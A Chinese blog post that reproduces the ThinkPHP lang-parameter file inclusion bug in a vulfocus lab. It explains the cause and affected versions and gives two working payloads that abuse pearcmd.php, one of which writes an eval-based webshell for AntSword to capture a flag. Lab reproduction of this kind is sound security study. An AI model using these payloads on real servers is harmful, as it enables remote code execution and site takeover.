ThinkPHP 多语言本地文件包含漏洞(lang-rce)复现

admin 2025年3月24日19:46:25评论12 views字数 1053阅读3分30秒阅读模式

描述

ThinkPHP是一个再中国使用比较多的PHP框架。在其6.0.13版本及以前,存在一处本地文件包含漏洞。当多语言特性被开启时,攻击者可以使用lang参数来包含任意php文件

虽然只能包含本地PHP文件,但在开启了register_argc_argv且安装了pcel/pear的环境下,可以包含/usr/local/lib/php/pearcmd.php并写入任意文件。

漏洞原理

当ThinkPHP的多语言功能开启时,如果未对用户输入的语言参数进行严格过滤,攻击者可以利用lang参数进行目录穿越,包含服务器上的任意文件2。在某些环境下,如开启了register_argc_argv且安装了pear扩展,攻击者甚至可以包含/usr/local/lib/php/pearcmd.php文件,从而执行任意代码

漏洞影响范围

该漏洞主要影响以下版本的ThinkPHP:
6.0.1 ≤ ThinkPHP ≤ 6.0.13
ThinkPHP 5.0.x
ThinkPHP 5.1.x
本次复现使用的是vulfocus靶场环境
环境名为:vulfocus/thinkphp:6.0.12想复现的小伙伴可以使用docker拉取镜像docker pull vulfocus/thinkphp:6.0.12

开启靶场环境,我们从描述中可以得知访问路径为/public/index.php

ThinkPHP 多语言本地文件包含漏洞(lang-rce)复现

进入到靶场环境

ThinkPHP 多语言本地文件包含漏洞(lang-rce)复现

可以看到thinkphp版本为6.0.12     存在本地文件包含漏洞

我们本地抓包构造payload

?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+/var/www/html/shell.php

ThinkPHP 多语言本地文件包含漏洞(lang-rce)复现

成功后访问shell.php文件 可以看到phpinfo

在其中搜索flag就可以通关了

ThinkPHP 多语言本地文件包含漏洞(lang-rce)复现

使用蚁剑连接:

重新构造payload

?lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['chixi']);?>+/var/www/html/shell.php

ThinkPHP 多语言本地文件包含漏洞(lang-rce)复现

使用蚁剑连接

ThinkPHP 多语言本地文件包含漏洞(lang-rce)复现

在根目录下的tmp中就可以找到flag了

ThinkPHP 多语言本地文件包含漏洞(lang-rce)复现

至此ThinkPHP 多语言本地文件包含漏洞(lang-rce)复现完成

ThinkPHP 多语言本地文件包含漏洞(lang-rce)复现

原文始发于微信公众号(炽汐安全屋):ThinkPHP 多语言本地文件包含漏洞(lang-rce)复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月24日19:46:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ThinkPHP 多语言本地文件包含漏洞(lang-rce)复现https://cn-sec.com/archives/3876056.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息